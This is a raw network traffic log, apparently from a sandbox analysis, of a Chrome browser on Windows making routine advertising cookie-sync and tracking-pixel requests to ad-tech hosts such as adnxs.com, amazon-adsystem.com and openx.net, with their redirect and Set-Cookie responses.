2024-05-24 22:46:30 UTC	1021	OUT	GET /getuid?https://cookie-matching.mediarithmics.com/input?key=APX&apx_uid=$UID&opid=apx&ops=&utidl=&action=GET_ID&etid=&domid=1109 HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; uuid2=6116765264039870456; anj=dTM7k!M40<D>6NRF']wIg2E?d?=+XZNZQ64?TJMhB6Y.<3Q9(!1DDYd+:z>x+eapOV%acua5_RUeJB46T5oe6_4$OUo[6<K`vN[#K?xmey)PK#^V)$pE:'C?c>Afr*yWL3=fL[F7t0SIj4s<EL@5S%v4VB%ns>)/F-Zd
2024-05-24 22:46:30 UTC	1500	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Fri, 24 May 2024 22:46:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://cookie-matching.mediarithmics.com/input?key=APX&apx_uid=6116765264039870456&opid=apx&ops=&utidl=&action=GET_ID&etid=&domid=1109 AN-X-Request-Uuid: 1e592a46-2735-4534-b0c9-5fe63fd21357 Set-Cookie: XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:30 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Fri, 12-May-2034 22:46:30 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=6116765264039870456; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:30 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 942.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
405	192.168.2.6	50403	35.186.196.148	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:30 UTC	380	OUT	GET /map?dsp_id=12&uid=bJBYJggHRl-8eMKZ1raaLQ HTTP/1.1 Host: sync.rfp.fout.jp Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:30 UTC	352	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 24 May 2024 22:46:30 GMT Content-Type: image/gif Content-Length: 43 Vary: Accept-Encoding Cache-Control: private, no-cache, no-cache="Set-Cookie", proxy-revalidate P3p: CP="ADM NOI OUR" Pragma: no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:30 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 ff ff ff 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
406	192.168.2.6	50399	192.132.33.68	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:30 UTC	1499	OUT	GET /engagement/event?input=%7B%22globalId%22%3A%220b31c55f-287d-4370-a8d9-98e50fdf2aed%22%2C%22creativeId%22%3A%22%22%2C%22placementId%22%3A%22%22%2C%22goalId%22%3A%2215654%22%2C%22sessionId%22%3A%22f46e0e56-6062-4c7b-bbc6-b6f1e2e28664%22%2C%22parentPublisherId%22%3A%22%22%2C%22publisherId%22%3A%22%22%2C%22siteId%22%3A%22%22%2C%22commonId%22%3A%22%22%2C%22heartbeat%22%3A2%2C%22url%22%3A%22https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCNvcm_yup4YDFUlzQQId92gD5Q%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_000%3Bord%3D6875800667488%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D1576649674%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252Fbranches-atms.html%3F%22%2C%22fingerprint%22%3A [TRUNCATED] Host: bttrack.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
2024-05-24 22:46:30 UTC	484	IN	HTTP/1.1 200 OK Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/plain Expires: -1 Access-Control-Allow-Origin: * Set-Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1; domain=.bttrack.com; expires=Thu, 22-Aug-2024 22:46:01 GMT; path=/; secure; SameSite=None X-ServerName: Track002-iad Date: Fri, 24 May 2024 22:46:01 GMT Connection: close Content-Length: 0 Strict-Transport-Security: max-age=31536000;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
407	192.168.2.6	50405	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:30 UTC	681	OUT	GET /ecm3?id=38297f77e175b13c7eb1fc2f0ebaa43&ex=freewheel.tv&gdpr=&gdpr_consent=&userId= HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:30 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:30 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 1HHBF91M5E1E34KA7MY3 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:30 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
408	192.168.2.6	50402	3.71.149.231	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:30 UTC	713	OUT	GET /ups/58725/cms?partner_id=AMAZON&ex=gemini HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBLUYUWYCEOpyE36cfhNXYQhYWKm__8wFEgEBAQFqUmZaZtwr0iMA_eMAAA&S=AQAAAiSpsJNfzseXuBNK5dXiVes; IDSYNC=19ba~2ily
2024-05-24 22:46:30 UTC	745	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:30 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ba~2ily:19b9~2ily";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Sat, 24-May-2025 22:46:30 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://s.amazon-adsystem.com/ecm3?id=y-goL7EHNE2pFaKpW2Ux_9vNNKPSAFiysXjOrE~A&status=OK&ex=gemini Age: 0 Connection: close Server: ATS/9.1.10.112 Set-Cookie: A3=d=AQABBLUYUWYCEOpyE36cfhNXYQhYWKm__8wFEgEBAQFqUmZaZtwr0iMA_eMAAA&S=AQAAAiSpsJNfzseXuBNK5dXiVes; Expires=Sun, 25 May 2025 04:46:30 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
409	192.168.2.6	50395	35.214.149.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:30 UTC	724	OUT	GET /ul_cb/sync_a9/https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dbidswitch.com%26id%3D%24%7BUUID%7D HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=fcd72d80-e37b-47d2-9126-0e4dac7f961d; c=1716590789; tuuid_lu=1716590789
2024-05-24 22:46:30 UTC	550	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Fri, 24 May 2024 22:46:30 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: https://s.amazon-adsystem.com/ecm3?ex=bidswitch.com&id=0a0d1ff8792a1f8ccac2f97b7225f511 Set-Cookie: tuuid=fcd72d80-e37b-47d2-9126-0e4dac7f961d; path=/; expires=Sat, 24-May-2025 22:46:30 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: tuuid_lu=1716590790; path=/; expires=Sat, 24-May-2025 22:46:30 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
410	192.168.2.6	50406	35.244.159.8	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:30 UTC	729	OUT	GET /w/1.0/cm?id=e818ca1e-0c23-caa8-0dd3-096b0ada08b7&r=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dopenx.com%26id%3D%7BOPENX_ID%7D HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=07378af9-3c0a-4f02-9a30-ee1d85f0ce79\|1716590776
2024-05-24 22:46:30 UTC	574	IN	HTTP/1.1 302 Moved Temporarily Vary: Accept, Accept-Encoding Set-Cookie: i=07378af9-3c0a-4f02-9a30-ee1d85f0ce79\|1716590776; Version=1; Expires=Sat, 24-May-2025 22:46:30 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://s.amazon-adsystem.com/ecm3?ex=openx.com&id=8c4dc9dd-8927-cb0f-00e8-a46289e43664 Date: Fri, 24 May 2024 22:46:30 GMT Content-Type: image/gif Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
411	192.168.2.6	50404	188.65.124.66	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:30 UTC	480	OUT	GET /dspreply?dspId=1868&dspUserId=icct8MEfQBmuN1O45B3b6Q&redir=https://s.amazon-adsystem.com/ecm3?ex=dailymotionHMT2&id= HTTP/1.1 Host: public-prod-dspcookiematching.dmxleo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:30 UTC	210	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:30 GMT Content-Length: 0 Connection: close Strict-Transport-Security: max-age=15724800; includeSubDomains X-DM-LB-NAME: ingress-nginx-nginx-in-cluster-dn5br

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
412	192.168.2.6	50397	18.195.126.233	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:30 UTC	626	OUT	GET /sync/v1?source_id=wE4DpHXcQL5mguNBAJxVK3sW&source_user_id=oQsO9a_fTvyLfsl4M_h3_w HTTP/1.1 Host: match.sharethrough.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:30 UTC	83	IN	HTTP/1.1 204 No Content Date: Fri, 24 May 2024 22:46:30 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
413	192.168.2.6	50408	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:30 UTC	442	OUT	GET /ecm3?id=219933204892004054749&ex=neustar.biz HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:30 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:30 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 2WHAG4N6R19Z0ZVVQXAM Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:30 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
414	192.168.2.6	50409	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:30 UTC	437	OUT	GET /ecm3?ex=bluekai.com&id=Do06cmvS99OskNaZ HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:30 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:30 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 84HA4TQDMMHJK8ZAWMK9 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:30 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
415	192.168.2.6	50407	18.65.39.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:30 UTC	652	OUT	GET /p?c1=9&c2=27552257&r=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dcomscore.com%26id%3D%25AX_UUID%25 HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:30 UTC	875	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Fri, 24 May 2024 22:46:30 GMT Location: /p2?c1=9&c2=27552257&r=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dcomscore.com%26id%3D%25AX_UUID%25 set-cookie: UID=1813866b81e56349cae653d1716590790; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=62208000 set-cookie: PID=14E3866b82009349cae638a1716590790; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=7776000 set-cookie: XID=1813866b81e56349cae653d1716590790; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=62208000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 d0b402ca7e5fc6514bdd05f23e206b58.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS1-P1 X-Amz-Cf-Id: W4Q9NDnwHzpSurIEUZs1KgCTFTA4y_nM4KnxMXY4tkkzFuNo6NpqZw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
416	192.168.2.6	50411	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:30 UTC	481	OUT	GET /ecm3?id=38297f77e175b13c7eb1fc2f0ebaa43&ex=freewheel.tv&gdpr=&gdpr_consent=&userId= HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:30 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:30 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: TJNAJ1K3G9P6HACQHB6V Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:30 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
417	192.168.2.6	50410	76.223.111.18	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:30 UTC	742	OUT	GET /xuid?mid=8341&xuid=j2txwqVrTou82fofghzSEg&dongle=az46&rdir=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3DtripleliftHMT%26id%3D%24UID HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluidp=4311655648632522917084; tluid=4311655648632522917084
2024-05-24 22:46:31 UTC	678	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:31 GMT Content-Length: 0 Connection: close Location: https://s.amazon-adsystem.com/ecm3?ex=tripleliftHMT&id=4311655648632522917084 Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=4311655648632522917084; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Thu, 22 Aug 2024 22:46:31 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=4311655648632522917084; Max-Age=7776000; Expires=Thu, 22 Aug 2024 22:46:31 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
418	192.168.2.6	50414	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:30 UTC	723	OUT	GET /ecm3?id=e11e83fbcf382d98697e6b3cc74afa0&ex=freewheel.tv&gdpr={gdpr}&gdpr_consent={gdpr_consent}&userId=q4pbDMm1SEWkCQa7gNP-yA HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:31 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:30 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: YS33HSQYT85NEZ17QV04 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:31 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
419	192.168.2.6	50412	77.243.51.122	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:30 UTC	646	OUT	GET /amazon/1/get?_url=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dsemasio%26id%3D%24%7BUIPID%28%29%7D HTTP/1.1 Host: uipglob.semasio.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:31 UTC	293	IN	HTTP/1.1 302 Found location: https://uipus.semasio.net/amazon/1/get?_url=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dsemasio%26id%3D%24%7BUIPID%28%29%7D date: Fri, 24 May 2024 22:46:30 GMT content-length: 0 routing-server-id: -1 access-control-allow-origin: * connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
420	192.168.2.6	50416	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

